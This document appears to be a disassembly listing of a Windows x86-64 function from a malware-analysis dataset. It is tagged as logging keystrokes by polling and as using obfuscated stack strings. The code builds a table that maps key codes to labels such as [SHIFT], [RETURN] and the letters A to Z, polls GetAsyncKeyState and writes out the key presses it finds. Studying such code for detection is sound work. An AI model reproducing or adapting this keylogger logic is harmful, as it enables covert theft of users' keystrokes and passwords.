Function at 0x14000d0f0
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling
Parse pe header

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf18
movaps xmmword [rsp + 0xf00], xmm6
movzx eax, byte [0x1400f1100]
test al, al
lea rbp, [rsp + 0x70]
jne 0x14000d137
lea r12, [0x1400f1100]
lea rbp, [rsp + 0x70]
mov rcx, r12
call fcn.1400bfb40
test eax, eax
jne 0x14000d320
lea r14, [rsp + 0x138]
mov rcx, r14
call fcn.1400b6790
mov rax, qword [0x1400c9f20]
pxor xmm0, xmm0
xor edx, edx
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x210], 0
add rax, 0x10
mov qword [rsp + 0x138], rax
xor eax, eax
mov word [rsp + 0x218], ax
mov rax, qword [0x1400c9a40]
mov r12, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov rcx, qword [r12 - 0x18]
mov qword [rsp + 0x70], r12
add rcx, rbp
mov qword [rcx], r15
call fcn.1400b7860
mov rdi, qword [0x1400c9c90]
lea r13, [rsp + 0x78]
mov rcx, r13
lea rax, [rdi + 0x18]
mov qword [rsp + 0x70], rax
lea rax, [rdi + 0x40]
mov qword [rsp + 0x138], rax
call fcn.14008e200
mov rdx, r13
mov rcx, r14
call fcn.1400b7860
mov rax, qword [0x1400c9420]
mov r8d, 0x11
mov rcx, r13
mov rdx, qword [rax]
call fcn.14008c700
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx - 0x18]
add rcx, rbp
test rax, rax
je 0x14000d310
xor edx, edx
call fcn.1400b7a30
mov rbx, qword [0x1400f1130]
mov rsi, qword [sym.imp.USER32.dll_GetAsyncKeyState]
test rbx, rbx
jne 0x14000d238
jmp 0x14000d25b
mov rbx, qword [rbx]
test rbx, rbx
je 0x14000d25b
movsx ecx, word [rbx + 8]
call rsi
test ax, ax
jns 0x14000d230
mov rdx, qword [rbx + 0x10]
mov rcx, rbp
mov r8, qword [rbx + 0x18]
call fcn.1400b9890
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000d238
mov rax, qword [0x1400c9c30]
lea rsi, [rdi + 0x18]
mov rcx, rbp
movq xmm6, rsi
add rax, 0x10
movq xmm1, rax
punpcklqdq xmm6, xmm1
call fcn.14007d890
add rdi, 0x40
mov rcx, r13
movaps xmmword [rsp + 0x70], xmm6
mov qword [rsp + 0x138], rdi
call fcn.14008cb90
lea rcx, [rsp + 0xc0]
call fcn.140086070
mov rax, qword [0x1400c9cd0]
lea rcx, [rsp + 0xb0]
add rax, 0x10
mov qword [rsp + 0x78], rax
call fcn.1400a90e0
mov rax, qword [r12 - 0x18]
mov qword [rsp + 0x70], r12
mov rcx, r14
mov qword [rsp + rax + 0x70], r15
mov rax, qword [0x1400c9f20]
lea rbp, [rax + 0x10]
mov qword [rsp + 0x138], rbp
call fcn.1400b6840
nop
movaps xmm6, xmmword [rsp + 0xf00]
add rsp, 0xf18
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.1400b7a30
jmp 0x14000d212
lea rcx, [rsp + 0x78]
mov eax, 1
lea rdx, str._LMOUSE_
mov word [rsp + 0x70], ax
call fcn.14000cb30
lea rcx, [rsp + 0xa0]
mov eax, 2
lea rdx, str._RMOUSE_
mov word [rsp + 0x98], ax
call fcn.14000cb30
lea rcx, [rsp + 0xc8]
mov eax, 4
lea rdx, str._MMOUSE_
mov word [rsp + 0xc0], ax
call fcn.14000cb30
lea rcx, [rsp + 0xf0]
mov eax, 0xd
lea rdx, str._RETURN__n
mov word [rsp + 0xe8], ax
call fcn.14000cb30
lea rax, [rsp + 0x128]
mov r14d, 0x10
mov r15d, 0x5446
mov dword [rsp + 0x128], 0x4948535b
mov qword [rsp + 0x118], rax
lea rdx, str._STRG_
mov eax, 0x11
lea rcx, [rsp + 0x140]
mov byte [rsp + 0x12e], 0x5d
mov word [rsp + 0x110], r14w
mov word [rsp + 0x12c], r15w
mov qword [rsp + 0x120], 7
mov byte [rsp + 0x12f], 0
mov word [rsp + 0x138], ax
call fcn.14000cb30
mov ebp, 0x12
mov r13d, 0xa4
mov dword [rsp + 0x178], 0x544c415b
lea rax, [rsp + 0x178]
mov word [rsp + 0x160], bp
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x168], rax
lea rdx, str._ALT_
mov byte [rsp + 0x17c], 0x5d
mov qword [rsp + 0x170], 5
mov byte [rsp + 0x17d], 0
mov word [rsp + 0x188], r13w
call fcn.14000cb30
mov r11d, 0xa5
mov ebx, 0xa2
mov esi, 0x4c52
mov dword [rsp + 0x1c8], 0x544c415b
lea rax, [rsp + 0x1c8]
mov edi, 0xa3
mov word [rsp + 0x1b0], r11w
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x208]
movabs rax, 0x5443205446454c5b
lea rdx, str._RIGHT_CTRL_
mov byte [rsp + 0x1cc], 0x5d
mov qword [rsp + 0x1c0], 5
mov byte [rsp + 0x1cd], 0
mov word [rsp + 0x1d8], bx
mov qword [rsp + 0x1f0], rax
mov word [rsp + 0x1f8], si
mov byte [rsp + 0x1fa], 0x5d
mov qword [rsp + 0x1e8], 0xb
mov byte [rsp + 0x1fb], 0
mov word [rsp + 0x200], di
call fcn.14000cb30
lea rcx, [rsp + 0x230]
mov r10d, 8
mov word [rsp + 0x228], r10w
lea rdx, str._BACKSPACE_
call fcn.14000cb30
mov eax, 9
mov edx, 0x1b
mov ecx, 0x20
mov dword [rsp + 0x268], 0x4241545b
mov word [rsp + 0x250], ax
lea rax, [rsp + 0x268]
mov r8d, 0x20
mov r9d, 0x21
mov qword [rsp + 0x258], rax
lea rax, [rsp + 0x290]
mov word [rsp + 0x278], dx
lea rdx, str._PAGE_UP_
mov qword [rsp + 0x280], rax
lea rax, [rsp + 0x2b8]
mov word [rsp + 0x2a0], cx
lea rcx, [rsp + 0x2d0]
mov byte [rsp + 0x26c], 0x5d
mov qword [rsp + 0x260], 5
mov byte [rsp + 0x26d], 0
mov dword [rsp + 0x290], 0x4353455b
mov byte [rsp + 0x294], 0x5d
mov qword [rsp + 0x288], 5
mov byte [rsp + 0x295], 0
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov word [rsp + 0x2b8], r8w
mov word [rsp + 0x2c8], r9w
call fcn.14000cb30
mov eax, 0x22
mov byte [rsp + 0x312], 0x5d
mov word [rsp + 0x2f0], ax
lea rax, [rsp + 0x308]
mov qword [rsp + 0x2f8], rax
movabs rax, 0x4f4420454741505b
mov qword [rsp + 0x308], rax
mov eax, 0x4e57
mov word [rsp + 0x310], ax
mov eax, 0x23
mov word [rsp + 0x318], ax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x348]
mov eax, 0x24
lea rdx, str._HOME_
mov qword [rsp + 0x300], 0xb
mov byte [rsp + 0x313], 0
mov dword [rsp + 0x330], 0x444e455b
mov byte [rsp + 0x334], 0x5d
mov qword [rsp + 0x328], 5
mov byte [rsp + 0x335], 0
mov word [rsp + 0x340], ax
call fcn.14000cb30
mov r13d, 0x25
mov r14d, 0x5d54
mov r15d, 0x26
mov dword [rsp + 0x380], 0x46454c5b
lea rax, [rsp + 0x380]
mov word [rsp + 0x368], r13w
lea rcx, [rsp + 0x398]
mov qword [rsp + 0x370], rax
lea rdx, str._UP_
mov byte [rsp + 0x386], 0
mov word [rsp + 0x384], r14w
mov qword [rsp + 0x378], 6
mov word [rsp + 0x390], r15w
call fcn.14000cb30
lea rcx, [rsp + 0x3c0]
mov ebp, 0x27
lea rdx, str._RIGHT_
mov word [rsp + 0x3b8], bp
call fcn.14000cb30
mov r11d, 0x28
mov ebx, 0x5d4e
mov esi, 0x2d
mov dword [rsp + 0x3f8], 0x574f445b
lea rax, [rsp + 0x3f8]
mov edi, 0x2e
mov word [rsp + 0x3e0], r11w
mov qword [rsp + 0x3e8], rax
lea rcx, [rsp + 0x438]
lea rax, [rsp + 0x420]
mov word [rsp + 0x3fc], bx
lea rdx, str._DEL_
mov byte [rsp + 0x3fe], 0
mov qword [rsp + 0x3f0], 6
mov word [rsp + 0x408], si
mov qword [rsp + 0x410], rax
mov dword [rsp + 0x420], 0x534e495b
mov byte [rsp + 0x424], 0x5d
mov qword [rsp + 0x418], 5
mov byte [rsp + 0x425], 0
mov word [rsp + 0x430], di
call fcn.14000cb30
lea rcx, [rsp + 0x460]
mov r10d, 0x2c
mov word [rsp + 0x458], r10w
lea rdx, str._PRINT_SCREEN_
call fcn.14000cb30
lea rcx, [rsp + 0x488]
mov r9d, 0x91
mov word [rsp + 0x480], r9w
lea rdx, str._SCROLL_LOCK_
call fcn.14000cb30
mov eax, 0x13
mov edx, 0x70
mov ecx, 0x71
mov dword [rsp + 0x4c0], 0x5541505b
mov word [rsp + 0x4a8], ax
lea rax, [rsp + 0x4c0]
mov r8d, 0x72
mov r9d, 0x73
mov qword [rsp + 0x4b0], rax
mov eax, 0x4553
mov r10d, 0x74
mov r11d, 0x75
mov word [rsp + 0x4c4], ax
mov ebx, 0x76
mov esi, 0x77
mov edi, 0x78
lea rax, [rsp + 0x4e8]
mov ebp, 0x79
mov word [rsp + 0x4d0], dx
mov r13d, 0x7a
mov qword [rsp + 0x4d8], rax
mov r14d, 0x7b
mov r15d, 0x90
mov edx, 0x6d
lea rax, [rsp + 0x510]
mov word [rsp + 0x4f8], cx
mov ecx, 0x2d20
mov qword [rsp + 0x500], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0x528], rax
lea rax, [rsp + 0x560]
mov qword [rsp + 0x550], rax
lea rax, [rsp + 0x588]
mov qword [rsp + 0x578], rax
lea rax, [rsp + 0x5b0]
mov word [rsp + 0x520], r8w
mov r8d, 0x6b
mov word [rsp + 0x548], r9w
mov r9d, 0x2b20
mov word [rsp + 0x570], r10w
mov r10d, 0x6e
mov byte [rsp + 0x4c6], 0x5d
mov qword [rsp + 0x4b8], 7
mov byte [rsp + 0x4c7], 0
mov dword [rsp + 0x4e8], 0x5d31465b
mov qword [rsp + 0x4e0], 4
mov byte [rsp + 0x4ec], 0
mov dword [rsp + 0x510], 0x5d32465b
mov qword [rsp + 0x508], 4
mov byte [rsp + 0x514], 0
mov dword [rsp + 0x538], 0x5d33465b
mov qword [rsp + 0x530], 4
mov byte [rsp + 0x53c], 0
mov dword [rsp + 0x560], 0x5d34465b
mov qword [rsp + 0x558], 4
mov byte [rsp + 0x564], 0
mov dword [rsp + 0x588], 0x5d35465b
mov qword [rsp + 0x580], 4
mov byte [rsp + 0x58c], 0
mov word [rsp + 0x598], r11w
mov r11d, 0x2e20
mov qword [rsp + 0x5a0], rax
lea rax, [rsp + 0x5d8]
mov qword [rsp + 0x5c8], rax
lea rax, [rsp + 0x600]
mov qword [rsp + 0x5f0], rax
lea rax, [rsp + 0x628]
mov qword [rsp + 0x618], rax
lea rax, [rsp + 0x650]
mov qword [rsp + 0x640], rax
lea rax, [rsp + 0x678]
mov qword [rsp + 0x668], rax
lea rax, [rsp + 0x6a0]
mov word [rsp + 0x5c0], bx
mov ebx, 0x60
mov word [rsp + 0x5e8], si
mov esi, 0x3020
mov word [rsp + 0x610], di
mov edi, 0x61
mov word [rsp + 0x638], bp
mov ebp, 0x3120
mov word [rsp + 0x660], r13w
mov r13d, 0x62
mov word [rsp + 0x688], r14w
mov r14d, 0x3220
mov dword [rsp + 0x5b0], 0x5d36465b
mov qword [rsp + 0x5a8], 4
mov byte [rsp + 0x5b4], 0
mov dword [rsp + 0x5d8], 0x5d37465b
mov qword [rsp + 0x5d0], 4
mov byte [rsp + 0x5dc], 0
mov dword [rsp + 0x600], 0x5d38465b
mov qword [rsp + 0x5f8], 4
mov byte [rsp + 0x604], 0
mov dword [rsp + 0x628], 0x5d39465b
mov qword [rsp + 0x620], 4
mov byte [rsp + 0x62c], 0
mov dword [rsp + 0x650], 0x3031465b
mov byte [rsp + 0x654], 0x5d
mov qword [rsp + 0x648], 5
mov byte [rsp + 0x655], 0
mov dword [rsp + 0x678], 0x3131465b
mov byte [rsp + 0x67c], 0x5d
mov qword [rsp + 0x670], 5
mov byte [rsp + 0x67d], 0
mov qword [rsp + 0x690], rax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x6b8], rax
movabs rax, 0x434f4c204d554e5b
mov qword [rsp + 0x6c8], rax
mov eax, 0x5d4b
mov word [rsp + 0x6d0], ax
mov eax, 0x6f
mov word [rsp + 0x6d8], ax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x6e0], rax
mov eax, 0x2f20
mov word [rsp + 0x6f4], ax
mov eax, 0x6a
mov word [rsp + 0x700], ax
lea rax, [rsp + 0x718]
mov qword [rsp + 0x708], rax
mov eax, 0x2a20
mov word [rsp + 0x71c], ax
lea rax, [rsp + 0x740]
mov qword [rsp + 0x730], rax
lea rax, [rsp + 0x768]
mov word [rsp + 0x6b0], r15w
mov r15d, 0x63
mov word [rsp + 0x728], dx
mov edx, 0x66
mov word [rsp + 0x744], cx
mov ecx, 0x3620
mov word [rsp + 0x750], r8w
mov r8d, 0x67
mov dword [rsp + 0x6a0], 0x3231465b
mov byte [rsp + 0x6a4], 0x5d
mov qword [rsp + 0x698], 5
mov byte [rsp + 0x6a5], 0
mov qword [rsp + 0x6c0], 0xa
mov byte [rsp + 0x6d2], 0
mov dword [rsp + 0x6f0], 0x4d554e5b
mov byte [rsp + 0x6f6], 0x5d
mov qword [rsp + 0x6e8], 7
mov byte [rsp + 0x6f7], 0
mov dword [rsp + 0x718], 0x4d554e5b
mov byte [rsp + 0x71e], 0x5d
mov qword [rsp + 0x710], 7
mov byte [rsp + 0x71f], 0
mov dword [rsp + 0x740], 0x4d554e5b
mov byte [rsp + 0x746], 0x5d
mov qword [rsp + 0x738], 7
mov byte [rsp + 0x747], 0
mov qword [rsp + 0x758], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0x780], rax
lea rax, [rsp + 0x7b8]
mov qword [rsp + 0x7a8], rax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x7d0], rax
lea rax, [rsp + 0x808]
mov qword [rsp + 0x7f8], rax
lea rax, [rsp + 0x830]
mov word [rsp + 0x76c], r9w
mov r9d, 0x3720
mov word [rsp + 0x778], r10w
mov r10d, 0x68
mov word [rsp + 0x794], r11w
mov r11d, 0x3820
mov word [rsp + 0x7a0], bx
mov ebx, 0x69
mov word [rsp + 0x7bc], si
mov esi, 0x3920
mov word [rsp + 0x7c8], di
mov edi, 0xba
mov word [rsp + 0x7e4], bp
mov ebp, 0x3a3b
mov word [rsp + 0x7f0], r13w
mov r13d, 0xbb
mov word [rsp + 0x80c], r14w
mov r14d, 0x2b20
mov dword [rsp + 0x768], 0x4d554e5b
mov byte [rsp + 0x76e], 0x5d
mov qword [rsp + 0x760], 7
mov byte [rsp + 0x76f], 0
mov dword [rsp + 0x790], 0x4d554e5b
mov byte [rsp + 0x796], 0x5d
mov qword [rsp + 0x788], 7
mov byte [rsp + 0x797], 0
mov dword [rsp + 0x7b8], 0x4d554e5b
mov byte [rsp + 0x7be], 0x5d
mov qword [rsp + 0x7b0], 7
mov byte [rsp + 0x7bf], 0
mov dword [rsp + 0x7e0], 0x4d554e5b
mov byte [rsp + 0x7e6], 0x5d
mov qword [rsp + 0x7d8], 7
mov byte [rsp + 0x7e7], 0
mov dword [rsp + 0x808], 0x4d554e5b
mov byte [rsp + 0x80e], 0x5d
mov qword [rsp + 0x800], 7
mov byte [rsp + 0x80f], 0
mov qword [rsp + 0x820], rax
mov eax, 0x3320
mov word [rsp + 0x834], ax
mov eax, 0x64
mov word [rsp + 0x840], ax
lea rax, [rsp + 0x858]
mov qword [rsp + 0x848], rax
mov eax, 0x3420
mov word [rsp + 0x85c], ax
mov eax, 0x65
mov word [rsp + 0x868], ax
lea rax, [rsp + 0x880]
mov qword [rsp + 0x870], rax
mov eax, 0x3520
mov word [rsp + 0x884], ax
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x898], rax
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x8c0], rax
lea rax, [rsp + 0x8f8]
mov word [rsp + 0x818], r15w
mov r15d, 0xbc
mov word [rsp + 0x890], dx
mov edx, 0xbf
mov word [rsp + 0x8ac], cx
mov ecx, 0x3f2f
mov word [rsp + 0x8b8], r8w
mov r8d, 0xc0
mov dword [rsp + 0x830], 0x4d554e5b
mov byte [rsp + 0x836], 0x5d
mov qword [rsp + 0x828], 7
mov byte [rsp + 0x837], 0
mov dword [rsp + 0x858], 0x4d554e5b
mov byte [rsp + 0x85e], 0x5d
mov qword [rsp + 0x850], 7
mov byte [rsp + 0x85f], 0
mov dword [rsp + 0x880], 0x4d554e5b
mov byte [rsp + 0x886], 0x5d
mov qword [rsp + 0x878], 7
mov byte [rsp + 0x887], 0
mov dword [rsp + 0x8a8], 0x4d554e5b
mov byte [rsp + 0x8ae], 0x5d
mov qword [rsp + 0x8a0], 7
mov byte [rsp + 0x8af], 0
mov dword [rsp + 0x8d0], 0x4d554e5b
mov word [rsp + 0x8d4], r9w
mov byte [rsp + 0x8d6], 0x5d
mov qword [rsp + 0x8e8], rax
lea rax, [rsp + 0x920]
mov qword [rsp + 0x910], rax
lea rax, [rsp + 0x948]
mov qword [rsp + 0x938], rax
lea rax, [rsp + 0x970]
mov qword [rsp + 0x960], rax
lea rax, [rsp + 0x998]
mov qword [rsp + 0x988], rax
mov eax, 0x3c2c
mov word [rsp + 0x998], ax
mov eax, 0xbd
mov word [rsp + 0x9a8], ax
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x8c8], 7
mov byte [rsp + 0x8d7], 0
mov word [rsp + 0x8e0], r10w
mov dword [rsp + 0x8f8], 0x4d554e5b
mov word [rsp + 0x8fc], r11w
mov byte [rsp + 0x8fe], 0x5d
mov qword [rsp + 0x8f0], 7
mov byte [rsp + 0x8ff], 0
mov word [rsp + 0x908], bx
mov dword [rsp + 0x920], 0x4d554e5b
mov word [rsp + 0x924], si
mov byte [rsp + 0x926], 0x5d
mov qword [rsp + 0x918], 7
mov byte [rsp + 0x927], 0
mov word [rsp + 0x930], di
mov word [rsp + 0x948], bp
mov qword [rsp + 0x940], 2
mov byte [rsp + 0x94a], 0
mov word [rsp + 0x958], r13w
mov word [rsp + 0x970], r14w
mov qword [rsp + 0x968], 2
mov byte [rsp + 0x972], 0
mov word [rsp + 0x980], r15w
mov qword [rsp + 0x990], 2
mov byte [rsp + 0x99a], 0
mov qword [rsp + 0x9b0], rax
mov eax, 0x5f2d
mov word [rsp + 0x9c0], ax
mov eax, 0xbe
mov word [rsp + 0x9d0], ax
lea rax, [rsp + 0x9e8]
mov qword [rsp + 0x9d8], rax
mov eax, 0x3e2e
mov word [rsp + 0x9e8], ax
lea rax, [rsp + 0xa10]
mov word [rsp + 0x9f8], dx
lea rdx, [0x1400c478e]
mov word [rsp + 0xa10], cx
lea rcx, [rsp + 0xa28]
mov qword [rsp + 0x9b8], 2
mov byte [rsp + 0x9c2], 0
mov qword [rsp + 0x9e0], 2
mov byte [rsp + 0x9ea], 0
mov qword [rsp + 0xa00], rax
mov qword [rsp + 0xa08], 2
mov byte [rsp + 0xa12], 0
mov word [rsp + 0xa20], r8w
call fcn.14000cb30
lea rcx, [rsp + 0xa50]
mov eax, 0xdb
lea rdx, [0x1400c4791]
mov word [rsp + 0xa48], ax
call fcn.14000cb30
lea rcx, [rsp + 0xa78]
mov eax, 0xdc
lea rdx, [0x1400c4794]
mov word [rsp + 0xa70], ax
call fcn.14000cb30
lea rcx, [rsp + 0xaa0]
mov eax, 0xdd
lea rdx, [0x1400c4797]
mov word [rsp + 0xa98], ax
call fcn.14000cb30
lea rcx, [rsp + 0xac8]
mov r15d, 0xde
mov word [rsp + 0xac0], r15w
lea rdx, [0x1400c479a]
call fcn.14000cb30
lea rcx, [rsp + 0xaf0]
mov r14d, 0x41
mov word [rsp + 0xae8], r14w
lea rdx, [0x1400c479d]
call fcn.14000cb30
lea rcx, [rsp + 0xb18]
mov r13d, 0x42
mov word [rsp + 0xb10], r13w
lea rdx, [0x1400c479f]
call fcn.14000cb30
lea rcx, [rsp + 0xb40]
mov ebp, 0x43
lea rdx, [0x1400c47a1]
mov word [rsp + 0xb38], bp
call fcn.14000cb30
lea rcx, [rsp + 0xb68]
mov edi, 0x44
lea rdx, [0x1400c47a3]
mov word [rsp + 0xb60], di
call fcn.14000cb30
mov r11d, 0x45
mov ebx, 0x45
mov esi, 0x46
mov qword [rsp + 0xb98], 1
lea rax, [rsp + 0xba0]
mov word [rsp + 0xb88], r11w
lea rcx, [rsp + 0xbb8]
mov qword [rsp + 0xb90], rax
lea rdx, [0x1400c47a5]
mov word [rsp + 0xba0], bx
mov word [rsp + 0xbb0], si
call fcn.14000cb30
lea rcx, [rsp + 0xbe0]
mov r10d, 0x47
mov word [rsp + 0xbd8], r10w
lea rdx, [0x1400c47a7]
call fcn.14000cb30
lea rcx, [rsp + 0xc08]
mov r9d, 0x48
mov word [rsp + 0xc00], r9w
lea rdx, [0x1400c47a9]
call fcn.14000cb30
mov eax, 0x49
mov edx, 0x4a
mov ecx, 0x4a
mov qword [rsp + 0xc38], 1
mov word [rsp + 0xc28], ax
lea rax, [rsp + 0xc40]
mov r8d, 0x4b
mov qword [rsp + 0xc30], rax
mov eax, 0x49
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0xc68]
mov word [rsp + 0xc50], dx
lea rdx, [0x1400c47ab]
mov word [rsp + 0xc68], cx
lea rcx, [rsp + 0xc80]
mov qword [rsp + 0xc58], rax
mov qword [rsp + 0xc60], 1
mov word [rsp + 0xc78], r8w
call fcn.14000cb30
lea rcx, [rsp + 0xcd0]
mov eax, 0x4c
mov qword [rsp + 0xcb0], 1
mov word [rsp + 0xca0], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0xca8], rax
mov eax, 0x4c
mov word [rsp + 0xcb8], ax
lea rdx, [0x1400c47ad]
mov eax, 0x4d
mov word [rsp + 0xcc8], ax
call fcn.14000cb30
lea rcx, [rsp + 0xcf8]
mov r15d, 0x4e
mov word [rsp + 0xcf0], r15w
lea rdx, [0x1400c47af]
call fcn.14000cb30
lea rcx, [rsp + 0xd20]
mov r14d, 0x4f
mov word [rsp + 0xd18], r14w
lea rdx, [0x1400c47b1]
call fcn.14000cb30
lea rcx, [rsp + 0xd48]
mov r13d, 0x50
mov word [rsp + 0xd40], r13w
lea rdx, [0x1400c47b3]
call fcn.14000cb30
lea rcx, [rsp + 0xd70]
mov ebp, 0x51
lea rdx, [0x1400c47b5]
mov word [rsp + 0xd68], bp
call fcn.14000cb30
lea rcx, [rsp + 0xd98]
mov edi, 0x52
lea rdx, [0x1400c47b7]
mov word [rsp + 0xd90], di
call fcn.14000cb30
lea rcx, [rsp + 0xdc0]
mov esi, 0x53
lea rdx, [0x1400c47b9]
mov word [rsp + 0xdb8], si
call fcn.14000cb30
lea rcx, [rsp + 0xde8]
mov ebx, 0x54
lea rdx, [0x1400c47bb]
mov word [rsp + 0xde0], bx
call fcn.14000cb30
lea rcx, [rsp + 0xe10]
mov r11d, 0x55
mov word [rsp + 0xe08], r11w
lea rdx, [0x1400c47bd]
call fcn.14000cb30
lea rcx, [rsp + 0xe38]
mov r10d, 0x56
mov word [rsp + 0xe30], r10w
lea rdx, [0x1400c47bf]
call fcn.14000cb30
lea rcx, [rsp + 0xe60]
mov r9d, 0x57
mov word [rsp + 0xe58], r9w
lea rdx, [0x1400c47c1]
call fcn.14000cb30
lea rcx, [rsp + 0xe88]
mov r8d, 0x58
mov word [rsp + 0xe80], r8w
lea rdx, [0x1400c47c3]
call fcn.14000cb30
lea rdx, [0x1400c47c5]
mov ecx, 0x59
mov word [rsp + 0xea8], cx
lea rcx, [rsp + 0xeb0]
call fcn.14000cb30
lea rcx, [rsp + 0xed8]
mov edx, 0x5a
mov word [rsp + 0xed0], dx
lea rdx, [0x1400c47c7]
call fcn.14000cb30
lea rax, [0x1400f1150]
xor edx, edx
mov qword [0x1400f1128], 1
lea rcx, [rax - 0x10]
mov qword [0x1400f1120], rax
mov qword [0x1400f1130], 0
mov qword [0x1400f1138], 0
mov dword [0x1400f1140], 0x3f800000
mov qword [0x1400f1148], 0
mov qword [0x1400f1150], 0
call fcn.1400672c0
mov r9, qword [0x1400f1128]
mov rbx, rax
cmp rax, r9
ja 0x14000e8c5
mov r10, qword [0x1400f1120]
lea rbp, [rsp + 0x70]
lea rax, [rsp + 0x50]
mov rbx, rbp
lea r15, [rsp + 0xef8]
mov qword [rsp + 0x48], rax
nop dword [rax]
movsx rsi, word [rbx]
xor edx, edx
mov rax, rsi
mov r13, rsi
div r9
mov rax, qword [r10 + rdx*8]
mov r11, rdx
lea rdi, [rdx*8]
test rax, rax
je 0x14000e7bf
mov rcx, qword [rax]
movzx r8d, word [rcx + 8]
cmp r8w, r13w
je 0x14000e8b0
mov rcx, qword [rcx]
test rcx, rcx
je 0x14000e7bf
movsx rax, word [rcx + 8]
xor edx, edx
mov r8, rax
div r9
cmp r11, rdx
je 0x14000e79b
mov ecx, 0x30
call fcn.1400bf690
mov r13, rax
mov qword [rax], 0
movzx eax, word [rbx]
mov r14, qword [rbx + 0x10]
mov word [r13 + 8], ax
lea rax, [r13 + 0x20]
mov qword [rsp + 0x38], rax
mov qword [r13 + 0x10], rax
mov rax, qword [rbx + 8]
mov rdx, rax
mov qword [rsp + 0x40], rax
add rdx, r14
je 0x14000e806
test rax, rax
je 0x14000ea62
cmp r14, 0xf
ja 0x14000e9a0
cmp r14, 1
jne 0x14000e979
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
mov byte [r13 + 0x20], al
mov rax, qword [rsp + 0x38]
mov qword [r13 + 0x18], r14
mov rcx, qword [rsp + 0x48]
mov byte [rax + r14], 0
mov rax, qword [0x1400f1148]
lea r14, [0x1400f1120]
mov r9, qword [0x1400f1138]
lea rdx, [r14 + 0x20]
mov qword [rsp + 0x20], 1
mov r8, qword [0x1400f1128]
mov qword [rsp + 0x68], rax
call fcn.1400674c0
cmp byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x58]
jne 0x14000e9c8
lea rax, [0x1400f1120]
mov r10, qword [rax]
add rdi, r10
mov rax, qword [rdi]
test rax, rax
je 0x14000e9f5
mov rax, qword [rax]
mov qword [r13], rax
mov rax, qword [rdi]
mov qword [rax], r13
add qword [0x1400f1138], 1
nop word [rax + rax]
add rbx, 0x28
cmp rbx, r15
je 0x14000e918
mov r9, qword [0x1400f1128]
jmp 0x14000e770
cmp rax, 1
je 0x14000ea41
movabs rax, 0xfffffffffffffff
cmp rbx, rax
ja 0x14000ea2d
lea rsi, [rbx*8]
mov rcx, rsi
call fcn.1400bf690
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.140010a70
mov r10, rax
mov qword [0x1400f1120], r10
mov r9, rbx
mov qword [0x1400f1128], rbx
jmp 0x14000e74f
lea rcx, [0x14000ca70]
call fcn.1400014f0
lea rbx, [rsp + 0xee8]
mov rcx, r12
call fcn.1400bfc80
lea rsi, [rsp + 0x60]
nop dword [rax]
mov rcx, qword [rbx - 0x10]
cmp rcx, rbx
je 0x14000e96b
mov rax, qword [rbx]
sub rbx, 0x28
lea rdx, [rax + 1]
call fcn.1400bf650
cmp rbx, rsi
je 0x14000d137
mov rcx, qword [rbx - 0x10]
cmp rcx, rbx
jne 0x14000e949
sub rbx, 0x28
cmp rsi, rbx
jne 0x14000e940
jmp 0x14000d137
test r14, r14
mov rax, qword [rsp + 0x38]
je 0x14000e82b
mov rcx, rax
mov rdx, qword [rsp + 0x40]
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [r13 + 0x10]
jmp 0x14000e82b
test r14, r14
js 0x14000ea6e
mov rcx, r14
add rcx, 1
js 0x14000ea58
call fcn.1400bf690
mov rcx, rax
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x20], r14
jmp 0x14000e98a
lea r14, [0x1400f1120]
lea r8, [rsp + 0x68]
mov rcx, r14
call fcn.140082600
mov rax, rsi
xor edx, edx
div qword [0x1400f1128]
lea rdi, [rdx*8]
jmp 0x14000e87c
mov rax, qword [0x1400f1130]
mov qword [0x1400f1130], r13
test rax, rax
mov qword [r13], rax
je 0x14000ea1e
movsx rax, word [rax + 8]
xor edx, edx
div qword [0x1400f1128]
mov qword [r10 + rdx*8], r13
lea rax, [0x1400f1130]
mov qword [rdi], rax
jmp 0x14000e8a2
movabs rax, 0x1fffffffffffffff
cmp rbx, rax
jbe 0x14000ea5d
call fcn.1400c05b0
mov qword [0x1400f1150], 0
lea r10, [0x1400f1150]
jmp 0x14000e902
call fcn.1400c0570
call fcn.1400c0570
lea rcx, [0x1400c46c0]
call fcn.1400c0670
lea rcx, [0x1400c46ea]
call fcn.1400c0760
mov rcx, qword [r13 + 0x10]
mov rbx, rax
cmp qword [rsp + 0x38], rcx
jne 0x14000eaea
mov edx, 0x30
mov rcx, r13
call fcn.1400bf650
mov rcx, r14
call fcn.140082740
mov rcx, qword [r15 - 0x20]
sub r15, 0x28
lea rax, [r15 + 0x18]
cmp rcx, rax
je 0x14000eabb
mov rax, qword [r15 + 0x18]
lea rdx, [rax + 1]
call fcn.1400bf650
cmp r15, rbp
jne 0x14000ea9d
mov rcx, r12
call fcn.1400bfac0
mov rcx, rbx
call fcn.14001b780
mov rcx, rax
call fcn.1400bf7a0
mov edx, 0x30
mov rcx, r13
call fcn.1400bf650
call fcn.1400bfd60
mov rax, qword [r13 + 0x20]
